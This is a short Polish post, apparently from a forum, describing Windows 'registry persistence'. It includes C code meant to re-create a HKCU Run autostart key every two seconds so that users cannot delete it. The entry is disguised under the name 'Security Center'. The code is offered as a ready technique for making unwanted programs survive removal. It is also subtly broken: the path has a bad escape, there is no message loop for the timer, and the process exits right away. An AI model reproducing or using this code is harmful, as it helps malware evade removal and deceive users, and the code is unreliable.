Registry persistance to metoda, która niepozwala na usunięcie określonego klucza z rejestru systemu Windows. Najprostsza implementacja to licznik czasowy, który odnawia klucz i w ten sposób po usunięciu klucz znów powstaje.
Kod:
#include <Windows.h>
char szPath[] = "C:\aaa.exe";
VOID CALLBACK RegTimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime)
{
HKEY hkSoftware;
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkSoftware);
RegSetValueEx(hkSoftware, "Centrum Zabezpieczeń", 0, REG_SZ, (BYTE*)szPath, lstrlen(szPath)+1);
RegCloseKey(hkSoftware);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
SetTimer(0, 4, 2000, (TIMERPROC)RegTimerProc);
MessageBox(0, "Klucz jest pilnowany. Po usunieciu jest przywracany.", 0, 0);
ExitProcess(0);
}